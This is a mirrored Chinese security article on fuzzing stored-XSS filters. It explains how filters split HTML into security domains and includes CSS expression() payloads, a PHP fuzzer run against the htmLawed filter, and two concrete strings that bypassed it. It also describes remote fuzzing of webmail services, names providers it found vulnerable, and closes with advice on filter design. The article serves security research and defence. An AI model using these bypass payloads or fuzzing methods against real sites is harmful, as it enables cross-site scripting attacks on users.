fuzzing XSS filter

wyzsk發表於2020-08-19
作者: isno · 2014/01/24 12:41

題記:這是09年自己寫的總結文章,之後多年也不搞這個了,技術顯然是過時了,但我覺得思路還是有用的,算拋磚引玉吧,各位見笑 

0x00 前言


這是一篇學習總結,首先對幾位未曾謀面也不知道名字的老師表示感謝,透過對你們大作的學習,使我逐漸入門開始跨入XSSer的行列,雖然我現在的水平和大師們比起來還差得太遠,指令碼方面的基礎也不不行,但我會繼續努力學習。

0x01 概述


曾經有一度,在N年前,我對網路安全對抗的總結就是“過濾與反過濾”,雖然現在看起來這種理解太狹隘了,不過在很大程度上過濾和突破過濾確實是很重要的手段。安全的目的就是過濾掉有害資訊,儲存安全的資訊,而駭客的目的就是突破過濾把有害資訊傳遞過去。無論是SQL隱碼攻擊、XSS、溢位等等,最最核心的東西就是突破過濾。本文主要講針對儲存型XSS過濾器的fuzz。

0x02 XSS filter:安全域邊界


隨著XSS攻擊越來越流行,對XSS的過濾也越來越成熟,尤其是儲存型XSS,由於攻擊更加靈活多變,應用更加廣泛,所以過濾手段也更復雜,從最早的黑名單字串過濾,發展到現在基於語法分析的黑白名單相結合的過濾器,對攻擊的難度要求也越來越高。

由於對反射型XSS的過濾相對簡單,所以本文只討論儲存型XSS過濾。現在的儲存型XSS過濾大多是基於HTML語法進行過濾,為什麼不用簡單的字串過濾呢?這是因為HTML支援的編碼方式非常多,而且要區分哪些是HTML語言哪些是文字內容也很麻煩。例如:

#!html
<div style=width:expression(alert(0))></div>

是要過濾的,而

#!html
<div>style=width:expression(alert(0))</div>

是正常的內容,所以必須進行HTML語法分析。

filter另一個要考慮的問題是使用者體驗,一些很嚴格的過濾器雖然相對安全,但是對正常內容的改變太大,頁面都變樣了,正常使用者使用起來感覺不太好。其實大多數XSS filter的漏洞並不是不能發現XSS,而是發現以後不能完全清除,在某些方面看來也是為了考慮正常使用者的使用感受。

基於HTML語法分析的filter會把輸入內容劃分成很多不同的安全域,例如HTML標籤之外的內容不過濾,是最低安全級別,在HTML之內也要劃分,樣式表是容易出問題的地方,要重點掃描,甚至考慮用白名單,即使在樣式表內部也要劃分不同的區域使用不同的掃描級別。因為不同的安全域有不同的檢測方法,所以容易出問題的地方就兩個安全域之間的邊界,一旦邊界搞錯了就有可能突破過濾。

0x03 fuzzer的設計:突破邊界


當一些普通的嘗試無法成功突破filter,就要考慮用fuzzer。首先要設計測試模型,這也是最核心的問題。我經常想為什麼fuzzing能夠成功呢,一定是filter存在某些隱藏比較深的漏洞,例如前面談過的安全域邊界,所以我們設計fuzzing模型就重點對這些地方進行測試,舉個例子說明一下安全域邊界的問題:

#!html
<div style="width:expression(alert(9));">

其中:

expression(alert(9))

是重點掃描區域也就是最高安全級別區域,對這個區域應該過濾/* */expression等,filter怎麼確定這個區域呢?首先在div標籤內找到style屬性,在=後面找到""之間的內容,根據:來劃分樣式名稱和內容,以;分隔幾個樣式。那麼在這裡=":;這些都是關鍵字。如果XSSer提交以下內容:

#!html
<div style="width:expre/*"*/ssion(alert(9));">

最高安全區域還應該是

expre/*"*/ssion(alert(9))

但是如果filter在劃分割槽域的時候首先根據第一個封閉的雙引號對來劃分,那麼就會針對下面的內容做過濾:

width:expre/*

這樣顯然是不正確的,因為/* */中的內容是註釋,是要丟棄的內容,如果先根據第一個雙引號就確定了區域邊界的話,那麼在綠色區域也是過濾不到expression的,就會導致過濾被繞過。所以在這裡正確的確定邊界的方法是找到最後一個雙引號來進行封閉,如果沒找到的話還要自動新增,否則又會造成高階別安全區域的擴大,擴大了並非會更安全,安全區域的擴大會引起後面的邊界混亂,同樣會造成漏洞。當然了,這個情況只是我想象出來的用來舉例的,實際情況不太可能這麼簡單,這裡要說明的只是區域邊界對於XSS fuzzing的重要性。

因此我們設計fuzzer的時候就要在一個模版的有可能導致邊界混亂的地方添入一些元素組合來作為testcase,所以第一要考慮的是確定模版,例如我們可以把

#!html
<div style="width:expre/*位置*/ssion(alert(9));">

作為模版,元素填充在/**/之間。這樣就有了一個簡單的fuzz模型。

當然了這並不是一個好的模版,因為不夠複雜,filter一般都會考慮到了。

那麼在前邊加點東西:

#!html
<div id="位置" style="width:expre/*位置*/ssion(alert(9));">

這樣有兩處地方填充元素,稍微複雜了一點,比第一個模版好點。我的想法是,越複雜的模版和越多的填充位置、填充元素,才越有可能跑出漏洞。但實際應用中因為我們是黑盒測試,所以還要考慮其他一些問題,例如效率、可識別性等等,這個後邊再說。

有了模版,用什麼樣的元素進行填充,就是我們要考慮的第二個重要問題。首先邊界元素肯定是要的,例如上邊的例子裡面的邊界元素

=":;

能想到的還有

空格、<、>、</div>

等,有時候雖然看起來不可能確定錯邊界,但實際上filter的行為往往出人意料,這也正是fuzzing存在的意義。

除了邊界元素之外還有一種要考慮的是filter過濾的元素,例如filter過濾expression,我們就把expression也當做隨機填充的元素,還有//、onXXX()等,當filter刪除或改變這些內容後就有可能會導致邊界的改變。

另一個元素是不可視的特殊字元,例如\t、\r、\n、\0等等,半個UNICODE字元等。還有被filter反向解碼的字串,例如&#XX、%XX、\XX等。

最後要考慮的確定模版和元素的情況是瀏覽器的undocument行為,例如

#!html
<<div/style="width:expression(alert(9))">

會被IE正常解析。這裡有兩個<,而且div後面用/分隔而不是空格,某些filter可能考慮不到這樣的行為,因為這樣寫不符合HTML語法規範。類似這樣的瀏覽器的奇怪解析方式還有很多,去年分析過YAHOO Mail跨站的DX都會對CSS裡面的不正常的url()記憶猶新吧,我挺佩服發現這種方式的那位老師的,這個的問題看起來似乎並不是僅僅是filter的問題,連IE對邊界的劃分都是存在問題的,當然這種問題單單對IE來說只是個小BUG而不能算漏洞,但是結合了YAHOO的filter之後卻導致了XSS。

0x04 實踐練習:本地fuzzing的例子


在實際進行遠端黑盒fuzzing之前我們先來構造一個本地fuzzing的例子來練習一下,看看模版的構造和元素的選擇能否達到預想的效果。

我選擇了htmLawed作為fuzzing物件,這是一個php寫的開源的HTML過濾器,有興趣的話可以先到http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedTest.php這個網站,先手工測試一下看看能不能手工繞過它對CSS的過濾,也許大牛是可以手工XSS的,反正我試了一會沒有成功,沒辦法,智商就只有這麼多。這裡我說的是上面那種例子裡的樣式表XSS,你可別直接輸入一個<script>人家是不過濾的,因為這個filter還要加引數。

我下載了htmLawed之後,在本地做了一個測試程式:

#!php
<?php
include './htmLawed.php';
$m1=array("'","\""," ","");
$m2=array("","","\"","'","<","","","","","","","","");
$mag=array("'","\""," ","</div>","/*","*/","\\","\\\"","\\\'",";",":","<",">","=","<div","\r\n","","&#","/","*","expression(","w:expression(alert(9));","style=w:expression(alert(9));","");
for($i=0;$i<10000;$i++)
{
$fname = "tc\\hush".$i.".html";
$fp = fopen($fname, "a");
$mtotran = "";
for($j=0;$j<1000;$j++)
{
shuffle($mag);
shuffle($m1);
shuffle($m2);
$mstr=$m2[0];
$mstr.="<div id=";
$mstr.=$m1[0];
$mstr.=$mag[0];
$mstr.=$mag[1];
shuffle($mag);
$mstr.=$mag[0];
$mstr.=$m1[0];
$mstr.=" style=";
shuffle($m1);
$mstr.=$m1[0];
$mstr.="w:exp/*";
shuffle($mag);
$mstr.=$mag[0];
$mstr.=$mag[1];
$mstr.="*/ression(alert(9));";
shuffle($mag);
$mstr.=$mag[0];
$mstr.=$mag[1];
$mstr.=$m1[0];
$mstr.=">".$j."</div>\r\n";
fwrite($fp, $mstr);
$mtotran.=$mstr;
}
fclose($fp);
$outcont = htmLawed($mtotran);
// print $outcont."\r\n";
$fp1 = fopen("C:\\Inetpub\\wwwroot\\out\\hush".$i.".html", "a");
fwrite($fp1, "<HTML>\r\n<HEAD>\r\n<TITLE>".$i."</TITLE>\r\n<meta http-equiv=\"refresh\" content=\"1;url=hush".($i+1).".html\">\r\n</HEAD>\r\n<BODY>\r\n");
fwrite($fp1, $outcont);
fwrite($fp1, "</BODY>\r\n</HTML>");
fclose($fp1);
print $i."\r\n";
// break;
}
?>

各位見笑了,我沒寫過php,現學了一下攢出個程式很爛,僅僅是實現我的思路而已,沒有考慮效率啊穩定之類的。程式功能很簡單,按照前面提到的簡單模版隨機填充進一些元素,生成testcase,然後用htmLawed進行過濾之後生成結果檔案,放在WEB伺服器上讓他自動執行,看能否彈出alert。前面說過了這個模版不怎麼好,太簡單,所以我多生成了一點,總共下來是一千萬個用例,結果訪問第一個檔案就彈出了alert對話方塊0_0。可見htmLawed也不是一個久經考驗的filter。

我看了一下透過的用例,發現其實很多方法可以繞過htmLawed的過濾,這裡舉一個簡單的例子:

#!html
<div id= \""&#  style="w:exp/*\\'<div*/ression(alert(9));'=">722</div>
<div id="\">/" style="w:exp/*&#*/ression(alert(9));&#</div>">723</div>

這兩條一起傳給filter之後,過濾結果為:

#!html
div style="w:exp  '<div*/ression(alert(8));'=">722</div>
<div>/" style="w:exp/*&#*/ression(alert(9));&#</div>">723

就會彈出alert了,證明已經繞過了過濾。經過分析發現,主要原因在於對<div標籤的過濾有問題,當同時存在兩個<div的時候,會保留第二個捨棄第一個,這樣導致了原有的安全域邊界改變了。再結合第二條div中的雙引號封閉前面的內容,所以本來第二條的style應該是標籤之外的內容的低安全級別域,沒有過濾/**/和expression,和前面結合之後就進入了高安全級別域的範圍裡面,導致了XSS。是不是看得有點頭暈?這就證明了fuzzing能夠做到人腦所做不到的事情(我這裡說的是普通人腦,大牛們的腦子除外)。

0x05 實戰:遠端fuzzing


剛才看到本地fuzzing的例子其實也是黑盒測試而不是白盒測試,因為我們是不考慮filter原始碼的,也不是直接用程式載入filter來跑,我們關係的只是過濾結果。以前看過一篇老外寫XSS fuzzing的文章,說破解一個遠端filter系統,先在本地模擬該filter的行為,然後直接在程式裡邊跑,根據跑出的結果去遠端驗證,在根據遠端的結果修正本地模擬filter,不斷這樣修正,直到最後完全在本地實現遠端filter的所有特性。最後直接在程式裡面fuzzing本地filter。這種方法聽起來是很不錯的,因為在程式內部進行fuzzing效率是非常高的,每秒鐘可以測幾萬次甚至幾十萬次,如果遠端fuzzing的話有時候一分鐘都測不完一次,就算一次發過去幾百個testcase,算上生成用例時間,傳送接收時間,驗證結果時間,總共平均下來也是非常耗費時間的。但是,實際做起來就會知道本地模擬遠端filter的方法更多的是紙上談兵,因為僅僅根據輸入輸出結果是模擬不了fliter程式的全部特性的,也會漏掉絕大多數的漏洞。

所以要想真正跑出漏洞還是得靠遠端fuzzing,那麼就需要考慮測試效率的問題了,一個fuzzer的好壞我覺得有兩個要素:首先是測試模型的設計,再一個就是fuzzer本身的效率。就算用很爛的測試用例,如果fuzzer效率足夠高的話,還是有可能跑出漏洞的。

如何提高測試效率呢?這是我一直在思考的問題。比如我們fuzzing的物件是一個WEB郵件系統,那麼fuzzer的基本設計應該是這樣設計:根據模版生成testcase->傳送testcase->驗證結果。那麼提高效率也要從這三個方面入手。

首先是生成testcase的模組,我一般式根據隨機數來選擇元素填充到模版,隨機數的生成就是一個很關鍵的要素,我們需要的儘量均勻的隨機數,這樣就會減少重複資料,能夠在一定程度上提高測試效率。用C語言來生成均勻分佈的隨機數是很困難的事情,生成的隨機數總是不斷重複,又要判斷很浪費時間,最後還是用python感覺好多了,可以用string.join和random.sample生成出隨機字串組合。

其實生成testcase的效率還要依賴於傳送效率,因為即使每秒生成一萬個用例,但每分鐘只能發10個,那麼生成再多也是浪費。所以更重要的是傳送效率,這裡我也沒想到什麼好辦法,只能是採取組合傳送的策略,就像前面fuzzing htmLawed一樣,把1000乃至更多用例組合起來,這樣做的好處不僅僅是提高效率,而且因為組合之後提高的混亂程度所以往往能產生意想不到的過濾結果。組合傳送的方式是考慮效率優先的,但有時候我們也需要一條一條傳送,這是為了能夠精確檢視每次的過濾情況,看看用例在filter處理的過程中會產生怎麼樣的變化,因為filter每一次的替換或者刪除都有可能導致安全邊界的改變。

前邊兩個模組的效率都是次要的,呵呵,最最主要的其實是驗證結果的效率,這個往往要根據目標的情況來決定最佳的驗證辦法。可以手工去驗證,人工開啟瀏覽器去點選接收到得內容,但是效率極低,對於幾萬幾十萬的測試用例來說顯然是不適合的。也可以透過程式自動化驗證,常用的方式一般有兩種:一種是透過程式模擬瀏覽器從WEB應用接收結果,然後判斷是否存在特徵字串,來驗證是否成功。另一種是藉助瀏覽器開啟輸出頁面來驗證,程式只控制IE依次訪問傳送用例,可以用模擬滑鼠鍵盤的方式。前一種方法的好處是效率高,但是容易誤報漏報,像前面fuzzing出的htmLawed漏洞一樣,非常不容易透過程式來判斷。後一種方法雖然效率很低,但是100%不會漏報。所以我一般多采取第二種方法。其實還有第三種方法,就是前兩種方法的組合,先寫程式從WEB獲取內容,然後在本地生成可以自動依次開啟的html檔案,然後用IE開啟。這樣當然是比較完美的情況,但是設計編寫程式也是很麻煩的,對於一般的目標不太值當費這個勁,對於某些目標嘛,呵呵,還是值得弄一套程式出來的。這裡還有個基本要求就是能夠找到過濾之後字串所對應的原始輸入,只要考慮到了實現起來也不難。

說了半天還沒有舉例子呢,這個因為某些原因,我就不寫實際遠端fuzzing的程式碼和過程了,聰明的讀者可以自己去試一下,我對國內外一些常用的WEB郵箱進行了測試,成功fuzzing出XSS漏洞的郵箱有:

國外:

@y*.com
@h*.com
@aol.com
@hanmail.com
@fastmail.fm
@hushmail.com
@epochtimes.com

國內:

@1*.com
@si*.com
@so*.com
@t*.com
@21*.com
@q*.com

(別當真,都是過去時了)

其實國內的大多數不是fuzzing出來的,而是手工測試出來的,因為國內郵箱的filter還比較初級,過濾得很不完善,一些最簡單的小技巧就能騙過filter了。當然後來用fuzzer測試的時候又發現了更多漏洞。

0x06 思考:如何做出完善的filter


如果一篇文章只寫攻擊不寫防範是會被同行鄙視,尤其到了我這把年紀的人。那麼透過fuzzing測試對於改進filter能夠有什麼幫助呢?如果每個公司對自己的產品做足夠的fuzzing測試,而不是又駭客來測試的話,我想會大大的改進產品安全性。更何況公司自己掌握著原始碼,可以把fuzzing測試的效率提高几個數量級。很多公司我想也是有這方面測試的。但是為什麼還是會有漏洞呢?大概是因為很多公司的開發測試人員不是搞安全出身的,至少是不精通安全,從另一個角度來說某些網路公司對其產品安全的重視程度是不夠的。還有一方面是利益驅動的問題,微軟自己測不出來的漏洞黑帽子也都能挖出來,這就不用我細說了。

那麼到底應該怎樣設計filter才能儘量減少漏洞呢?談談我自己一點看法大家討論。首先一點要明確安全邊界,並儘量使用白名單方式進行過濾,這個很多filter都做到了。其次在邊界明確的基礎上要明確對於違規資料的處理辦法,最最安全的辦法是一旦發現違規資料,整條資料包丟棄,當然在實際應用中是不能這樣做的,因為會大大影響應用的使用者體驗。那麼就要針對違規資料的安全域進行處理,前面已經說過了,無論刪除還是替換,都存在一定風險,可能會對其他的安全域邊界造成改變。這就要求必須有重審機制,對於違規處理過的資料還必須再次判斷每個安全域邊界,不斷迴圈直到沒有發現任何違規資料,這樣做有可能會導致另一個風險是DoS攻擊,就看如何取捨了。

不過只要是人寫的程式就會有疏忽的地方,就有可能出漏洞,所以要兩方面相結合,第一,開發filter的時候明確安全規範,不要做想當然的事情,對於已經發現的漏洞修補之後要看看是否符合原來的安全要求,因為很多時候因為補老漏洞又產生了新漏洞。第二,要做盡量全面的黑盒測試,前提是必須有懂安全的人介入測試部門。做到這兩點仍然不能百分之百避免漏洞的產生,所以還要有漏洞發現機制,靠使用者報告只是一方面,另一方面還必須有自動化的漏洞監測機制,這種事情說起來容易做起來難,所以就不多說了。

參考資料:

不知名大牛的yahoo XSS樣本 Blackbox Reversing of XSS Filters(Alexander Sotirov) WEB應用安全設計思想(axis)

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章